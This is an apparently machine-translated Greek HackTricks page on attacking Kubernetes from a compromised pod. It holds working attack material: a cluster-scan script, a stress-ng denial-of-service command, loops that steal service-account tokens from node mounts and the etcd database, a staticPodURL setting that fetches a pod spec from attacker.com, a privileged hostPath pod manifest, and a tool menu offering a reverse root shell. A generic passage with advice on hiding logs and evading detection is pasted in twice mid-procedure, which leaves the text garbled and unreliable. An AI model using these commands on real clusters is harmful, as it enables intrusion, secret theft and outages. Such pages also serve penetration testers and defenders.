Attacking Kubernetes from inside a Pod

Επίθεση στο Kubernetes από μέσα σε ένα Pod

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Απόδραση από το Pod

Αν έχετε την τύχη να μπορέσετε να δραπετεύσετε από αυτό προς τον κόμβο:

Απόδραση από το pod

Για να προσπαθήσετε να δραπετεύσετε από το pod, μπορεί να χρειαστεί να αναβαθμίσετε τα δικαιώματα πρώτα, μερικές τεχνικές για να το κάνετε:

Μπορείτε να ελέγξετε αυτές τις αποδράσεις docker για να δοκιμάσετε να δραπετεύσετε από ένα pod που έχετε παραβιάσει:

Κατάχρηση των προνομίων του Kubernetes

Όπως εξηγείται στην ενότητα για την απαρίθμηση του Kubernetes:

pageKubernetes Enumeration

Συνήθως τα pods τρέχουν με ένα token λογαριασμού υπηρεσίας μέσα σε αυτά. Αυτός ο λογαριασμός υπηρεσίας μπορεί να έχει κάποια προνόμια που συνδέονται με αυτόν και που μπορείτε να καταχραστείτε για να μετακινηθείτε σε άλλα pods ή ακόμα και να δραπετεύσετε στους κόμβους που έχουν ρυθμιστεί μέσα στο cluster. Δείτε πώς στο:

pageAbusing Roles/ClusterRoles in Kubernetes

Κατάχρηση των προνομίων του Cloud

Αν το pod τρέχει μέσα σε ένα περιβάλλον cloud, μπορείτε να διαρρεύσετε ένα token από το metadata endpoint και να αναβαθμίσετε τα δικαιώματα χρησιμοποιώντας αυτό.

Αναζήτηση ευπαθών δικτυακών υπηρεσιών

Καθώς βρίσκεστε μέσα στο περιβάλλον του Kubernetes, αν δεν μπορείτε να αναβαθμίσετε τα δικαιώματα καταχρώντας τα τρέχοντα προνόμια των pods και δεν μπορείτε να δραπετεύσετε από το container, θα πρέπει να αναζητήσετε πιθανές ευπάθειες στις υπηρεσίες.

Υπηρεσίες

Για αυτόν τον σκοπό, μπορείτε να δοκιμάσετε να πάρετε όλες τις υπηρεσίες του περιβάλλοντος του kubernetes:

kubectl get svc --all-namespaces

Από προεπιλογή, το Kubernetes χρησιμοποιεί ένα επίπεδο δικτύωσης χωρίς ιεραρχία, που σημαίνει ότι οποιοδήποτε pod/service εντός του cluster μπορεί να επικοινωνεί με άλλα. Τα namespaces εντός του cluster δεν έχουν προεπιλεγμένους περιορισμούς ασφαλείας δικτύου. Οποιοσδήποτε στο namespace μπορεί να επικοινωνεί με άλλα namespaces.

Σάρωση

Το παρακάτω Bash script (που προέρχεται από ένα εργαστήριο Kubernetes) θα εγκαταστήσει και θα σαρώσει τις διευθύνσεις IP του cluster Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Ελέγξτε την παρακάτω σελίδα για να μάθετε πώς μπορείτε να επιτεθείτε σε ειδικές υπηρεσίες του Kubernetes για να θέσετε σε κίνδυνο άλλες pods/ολόκληρο το περιβάλλον:

pagePentesting Kubernetes Services

Sniffing

Στην περίπτωση που η υποκλεισμένη pod εκτελεί μια ευαίσθητη υπηρεσία όπου άλλες pods χρειάζονται πιστοποίηση, μπορείτε να αποκτήσετε τα διαπιστευτήρια που αποστέλλονται από τις άλλες pods κατακορύφωση των τοπικών επικοινωνιών.

Παραπλάνηση Δικτύου

Από προεπιλογή, τεχνικές όπως η παραπλάνηση ARP (και χάρη σε αυτήν την παραπλάνηση DNS) λειτουργούν στο δίκτυο του Kubernetes. Στη συνέχεια, μέσα σε μια pod, αν έχετε τη δυνατότητα NET_RAW (η οποία υπάρχει από προεπιλογή), θα μπορείτε να στείλετε προσαρμοσμένα διαμορφωμένα πακέτα δικτύου και να πραγματοποιήσετε επιθέσεις MitM μέσω παραπλάνησης ARP σε όλες τις pods που εκτελούνται στον ίδιο κόμβο. Επιπλέον, αν η κακόβουλη pod εκτελείται στον ίδιο κόμβο με τον DNS Server, θα μπορείτε να πραγματοποιήσετε μια επίθεση παραπλάνησης DNS σε όλες τις pods στο cluster.

pageKubernetes Network Attacks

Node DoS

Δεν υπάρχει καθορισμός πόρων στα αρχεία καταγραφής του Kubernetes και δεν εφαρμόζονται περιορισμοί για τους ελάχιστους πόρους των containers. Ως επιτιθέμενος, μπορούμε να καταναλώσουμε όλους τους πόρους όπου εκτελείται η pod/deployment και να αποστερήσουμε άλλους πόρους και να προκαλέσουμε ένα DoS στο περιβάλλον.

Αυτό μπορεί να γίνει με ένα εργαλείο όπως το stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Μπορείτε να δείτε τη διαφορά ενώ εκτελείται το stress-ng και μετά.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Εκμετάλλευση μετά την εισβολή στον κόμβο

Αν καταφέρετε να δραπετεύσετε από τον container, θα βρείτε μερικά ενδιαφέροντα πράγματα στον κόμβο:

  • Η διεργασία Container Runtime (Docker)

  • Περισσότερα pods/containers που εκτελούνται στον κόμβο και μπορείτε να καταχραστείτε, όπως αυτό (περισσότερα tokens)

  • Ολόκληρο το σύστημα αρχείων και το λειτουργικό σύστημα γενικά

  • Ο υπηρεσία Kube-Proxy που ακούει

  • Ο υπηρεσία Kubelet που ακούει. Ελέγξτε τα αρχεία ρυθμίσεων:

  • Κατάλογος: /var/lib/kubelet/

  • /var/lib/kubelet/kubeconfig

  • /var/lib/kubelet/kubelet.conf

  • /var/lib/kubelet/config.yaml

  • /var/lib/kubelet/kubeadm-flags.env

  • /etc/kubernetes/kubelet-kubeconfig

  • Άλλα κοινά αρχεία Kubernetes:

  • $HOME/.kube/config - Διαμόρφωση χρήστη

  • /etc/kubernetes/kubelet.conf- Κανονική διαμόρφωση

  • /etc/kubernetes/bootstrap-kubelet.conf - Διαμόρφωση εκκίνησης

  • /etc/kubernetes/manifests/etcd.yaml - Διαμόρφωση etcd

  • /etc/kubernetes/pki - Κλειδί Kubernetes

Εύρεση του kubeconfig του κόμβου

Αν δεν μπορείτε να βρείτε το αρχείο kubeconfig σε έναν από τους προηγουμένως αναφερθέντες διαδρόμους, ελέγξτε το όρισμα --kubeconfig της διεργασίας kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Κλοπή Μυστικών

Για να κλέψετε μυστικά, μπορείτε να εκτελέσετε τις παρακάτω ενέργειες:

  1. Ελέγξτε τα αρχεία περιβάλλοντος: Ελέγξτε τα αρχεία περιβάλλοντος του περιέκτη για πιθανές πληροφορίες που μπορεί να χρησιμοποιηθούν για την πρόσβαση σε μυστικά.

  2. Εξερευνήστε τον περιέκτη: Εξερευνήστε τον περιέκτη για πιθανές διαρροές μυστικών, όπως κλειδιά API ή πιστοποιητικά.

  3. Εκτελέστε επιθέσεις εκμετάλλευσης: Χρησιμοποιήστε εκμεταλλεύσεις για να αποκτήσετε πρόσβαση στον περιέκτη και να ανακτήσετε τα μυστικά.

  4. Εκτελέστε επιθέσεις χρήσης προνομιακών δικαιωμάτων: Αναζητήστε προνομιακά δικαιώματα στον περιέκτη και χρησιμοποιήστε τα για να αποκτήσετε πρόσβαση σε μυστικά.

Αυτές οι ενέργειες μπορούν να σας βοηθήσουν να κλέψετε μυστικά από έναν περιέκτη Kubernetes.

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Το script can-they.sh θα ανακτήσει αυτόματα τα tokens άλλων pods και θα ελέγξει αν έχουν την άδεια που ψάχνετε (αντί να το ελέγχετε εσείς ένα-ένα):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Προνομιούχοι DaemonSets

Ένα DaemonSet είναι ένα pod που θα τρέξει σε όλους τους κόμβους του cluster. Επομένως, αν ένα DaemonSet είναι ρυθμισμένο με ένα προνομιούχο λογαριασμό υπηρεσίας, σε ΟΛΟΥΣ τους κόμβους θα μπορείτε να βρείτε το token αυτού του προνομιούχου λογαριασμού υπηρεσίας που μπορείτε να καταχραστείτε.

Η εκμετάλλευση είναι η ίδια με αυτήν που περιγράφεται στην προηγούμενη ενότητα, αλλά τώρα δεν εξαρτάστε από την τύχη.

Μετάβαση στο Cloud

Εάν το cluster διαχειρίζεται ένα cloud service, συνήθως ο κόμβος θα έχει διαφορετική πρόσβαση στο metadata endpoint από το Pod. Επομένως, προσπαθήστε να αποκτήσετε πρόσβαση στο metadata endpoint από τον κόμβο (ή από ένα pod με hostNetwork σε True):

pageKubernetes Pivoting to Clouds

Κλοπή του etcd

Εάν μπορείτε να καθορίσετε το nodeName του κόμβου που θα εκτελέσει το container, αποκτήστε ένα κέλυφος μέσα σε έναν κόμβο ελέγχου και αποκτήστε τη βάση δεδομένων etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Οι κόμβοι του control-plane έχουν τον ρόλο του master και σε διαχειριζόμενους συναρμολογημένους συστάδες στο cloud δεν θα μπορείτε να εκτελέσετε τίποτα σε αυτούς.

Διαβάστε μυστικά από το etcd

Εάν μπορείτε να εκτελέσετε το pod σας σε έναν κόμβο του control-plane χρησιμοποιώντας τον επιλογέα nodeName στο αρχείο προδιαγραφών του pod, μπορείτε να έχετε εύκολη πρόσβαση στη βάση δεδομένων etcd, η οποία περιέχει όλες τις ρυθμίσεις για τη συστοιχία, συμπεριλαμβανομένων όλων των μυστικών.

Παρακάτω υπάρχει ένας γρήγορος και απλός τρόπος για να ανακτήσετε μυστικά από το etcd εάν εκτελείται στον κόμβο του control-plane στον οποίο βρίσκεστε. Εάν θέλετε μια πιο κομψή λύση που θα δημιουργήσει ένα pod με το εργαλείο πελάτη etcdctl για το etcd και θα χρησιμοποιήσει τα διαπιστευτήρια του κόμβου του control-plane για να συνδεθεί στο etcd, οπουδήποτε αυτό εκτελείται, δείτε το παράδειγμα αρχείου προδιαγραφής από τον @mauilion.

Ελέγξτε εάν το etcd εκτελείται στον κόμβο του control-plane και δείτε πού βρίσκεται η βάση δεδομένων (Αυτό είναι σε μια συστοιχία που δημιουργήθηκε με το kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Επίθεση στο Kubernetes από μέσα σε ένα Pod

Σε αυτό το κεφάλαιο, θα εξετάσουμε πώς μπορούμε να εκτελέσουμε επιθέσεις στο Kubernetes από μέσα σε ένα Pod. Αυτό μας δίνει τη δυνατότητα να εκμεταλλευτούμε τυχόν ευπάθειες στον τρόπο λειτουργίας του Kubernetes και να αποκτήσουμε πρόσβαση σε ευαίσθητα δεδομένα ή να προκαλέσουμε ζημιά στο σύστημα.

Εκτέλεση επιθέσεων

Υπάρχουν διάφορες τεχνικές που μπορούμε να χρησιμοποιήσουμε για να εκτελέσουμε επιθέσεις από μέσα σε ένα Pod. Ορισμένες από αυτές περιλαμβάνουν:

  • Εκμετάλλευση ευπαθειών στον πυρήνα του λειτουργικού συστήματος

  • Εκμετάλλευση ευπαθειών στις εφαρμογές που εκτελούνται μέσα στο Pod

  • Χρήση εργαλείων όπως το kubectl για να αλλοιώσουμε την κατάσταση του Kubernetes

  • Χρήση εργαλείων όπως το socat για να δημιουργήσουμε μια ανάμειξη στην επικοινωνία μεταξύ των Pods

Αποφυγή ανίχνευσης

Για να αποφύγουμε την ανίχνευση κατά την εκτέλεση των επιθέσεων, μπορούμε να χρησιμοποιήσουμε τεχνικές όπως:

  • Απόκρυψη των αρχείων καταγραφής και των ίχνων των επιθέσεων

  • Χρήση κρυπτογράφησης για την απόκρυψη των επικοινωνιών

  • Αποφυγή της χρήσης εργαλείων που μπορεί να εντοπιστούν από τα συστήματα ανίχνευσης

Είναι σημαντικό να έχουμε υπόψη ότι η εκτέλεση επιθέσεων από μέσα σε ένα Pod είναι παράνομη και αντίθετη προς τους όρους χρήσης του Kubernetes. Πρέπει να χρησιμοποιούμε αυτές τις τεχνικές μόνο για νόμιμους σκοπούς, όπως την ενίσχυση της ασφάλειας του συστήματος.

data-dir=/var/lib/etcd

Προβολή των δεδομένων στη βάση δεδομένων etcd:

kubectl exec -it <pod_name> -- sh
ETCDCTL_API=3 etcdctl get --prefix "" --keys-only --from-key / | grep -v /registry

Αυτή η εντολή εκτελείται εντός του παραθύρου του pod και χρησιμοποιεί το εργαλείο etcdctl για να ανακτήσει τα δεδομένα από τη βάση δεδομένων etcd. Τα δεδομένα εμφανίζονται στην οθόνη και μπορείτε να τα εξετάσετε για πιθανές διαρροές πληροφοριών.

strings /var/lib/etcd/member/snap/db | less

Εξαγάγετε τα τοκεν από τη βάση δεδομένων και εμφανίστε το όνομα του λογαριασμού υπηρεσίας

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Ίδια εντολή, αλλά μερικά greps για να επιστρέψει μόνο το προεπιλεγμένο token στο namespace kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Επίθεση στο Kubernetes από μέσα σε ένα Pod

Σε αυτό το κεφάλαιο, θα εξετάσουμε πώς μπορούμε να εκτελέσουμε επιθέσεις στο Kubernetes από μέσα σε ένα Pod. Αυτό μας δίνει τη δυνατότητα να εκμεταλλευτούμε τυχόν ευπάθειες στον τρόπο λειτουργίας του Kubernetes και να αποκτήσουμε πρόσβαση σε ευαίσθητα δεδομένα ή να προκαλέσουμε ζημιά στο σύστημα.

Εκτέλεση επιθέσεων

Υπάρχουν διάφορες τεχνικές που μπορούμε να χρησιμοποιήσουμε για να εκτελέσουμε επιθέσεις από μέσα σε ένα Pod. Ορισμένες από αυτές περιλαμβάνουν:

  • Εκμετάλλευση ευπαθειών στον πυρήνα του λειτουργικού συστήματος

  • Εκμετάλλευση ευπαθειών στις εφαρμογές που εκτελούνται μέσα στο Pod

  • Χρήση εργαλείων όπως το kubectl για να αλλοιώσουμε την κατάσταση του Kubernetes

  • Χρήση εργαλείων όπως το socat για να δημιουργήσουμε μια ανάμειξη στην επικοινωνία μεταξύ των Pods

Αποφυγή ανίχνευσης

Για να αποφύγουμε την ανίχνευση κατά την εκτέλεση των επιθέσεων, μπορούμε να χρησιμοποιήσουμε τεχνικές όπως:

  • Απόκρυψη των αρχείων καταγραφής και των ίχνων των επιθέσεων

  • Χρήση κρυπτογράφησης για την απόκρυψη των επικοινωνιών

  • Αποφυγή της χρήσης εργαλείων που μπορεί να εντοπιστούν από τα συστήματα ανίχνευσης

Είναι σημαντικό να έχουμε υπόψη ότι η εκτέλεση επιθέσεων από μέσα σε ένα Pod είναι παράνομη και απαγορεύεται, εκτός αν έχουμε την έγκριση του νόμιμου ιδιοκτήτη του συστήματος. Πρέπει να τηρούμε τους νόμους και τους κανονισμούς που διέπουν την χρήση των συστημάτων και των υπηρεσιών cloud.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Μόνιμη αποθήκευση στατικών/καθρεφτισμένων Pods

Τα στατικά Pods διαχειρίζονται απευθείας από τον δαίμονα kubelet σε ένα συγκεκριμένο κόμβο, χωρίς τον διακομιστή API να τα παρατηρεί. Αντίθετα από τα Pods που διαχειρίζονται από τον ελεγκτικό πύργο (για παράδειγμα, ένα Deployment), ο kubelet παρακολουθεί κάθε στατικό Pod (και το επανεκκινεί αν αποτύχει).

Επομένως, τα στατικά Pods είναι πάντα δεμένα με έναν Kubelet σε έναν συγκεκριμένο κόμβο.

Ο kubelet προσπαθεί αυτόματα να δημιουργήσει ένα καθρέφτη Pod στον διακομιστή Kubernetes API για κάθε στατικό Pod. Αυτό σημαίνει ότι τα Pods που εκτελούνται σε έναν κόμβο είναι ορατά στον διακομιστή API, αλλά δεν μπορούν να ελεγχθούν από εκεί. Τα ονόματα των Pods θα έχουν ως επίθεμα το όνομα του κόμβου με ένα προηγούμενο παύλα.

Το spec ενός στατικού Pod δεν μπορεί να αναφέρεται σε άλλα αντικείμενα του API (π.χ. ServiceAccount, ConfigMap, Secret κλπ.). Έτσι, δεν μπορείτε να εκμεταλλευτείτε αυτήν τη συμπεριφορά για να ξεκινήσετε ένα pod με ένα αυθαίρετο serviceAccount στον τρέχοντα κόμβο για να απειλήσετε το cluster. Ωστόσο, μπορείτε να χρησιμοποιήσετε αυτό για να εκτελέσετε pods σε διάφορα namespaces (αν αυτό είναι χρήσιμο για κάποιο λόγο).

Αν βρίσκεστε μέσα στον κόμβο του υπολογιστή, μπορείτε να τον καταναλώσετε να δημιουργήσει ένα στατικό pod μέσα στον ίδιο τον εαυτό του. Αυτό είναι πολύ χρήσιμο, επειδή μπορεί να σας επιτρέψει να δημιουργήσετε ένα pod σε ένα διαφορετικό namespace όπως το kube-system.

Για να δημιουργήσετε ένα στατικό pod, οι τεκμηρίωση είναι πολύ χρήσιμη. Βασικά, χρειάζεστε 2 πράγματα:

  • Διαμορφώστε την παράμετρο --pod-manifest-path=/etc/kubernetes/manifests στην υπηρεσία kubelet, ή στη διαμόρφωση του kubelet (staticPodPath) και επανεκκινήστε την υπηρεσία

  • Δημιουργήστε τον ορισμό του pod στο αρχείο ορισμού στο /etc/kubernetes/manifests

Ένας άλλος πιο αόρατος τρόπος θα ήταν να:

  • Τροποποιήσετε την παράμετρο staticPodURL από το αρχείο διαμόρφωσης του kubelet και ορίστε κάτι σαν staticPodURL: http://attacker.com:8765/pod.yaml. Αυτό θα κάνει τη διαδικασία kubelet να δημιουργήσει ένα στατικό pod, παίρνοντας την διαμόρφωση από τον καθορισμένο URL.

Παράδειγμα ορισμού pod για τη δημιουργία ενός προνομιούχου pod στο kube-system, που προέρχεται από εδώ:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Διαγραφή pods + απενεργοποίηση κόμβων

Εάν ένας επιτιθέμενος έχει διαρρεύσει έναν κόμβο και μπορεί να διαγράψει pods από άλλους κόμβους και να καθιστήσει άλλους κόμβους ανίκανους να εκτελέσουν pods, τα pods θα εκτελεστούν ξανά στον διαρρεύσαντα κόμβο και θα μπορεί να κλέψει τα διαπιστευτήρια που εκτελούνται σε αυτά. Για περισσότερες πληροφορίες ακολουθήστε αυτούς τους συνδέσμους.

Αυτόματα Εργαλεία

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated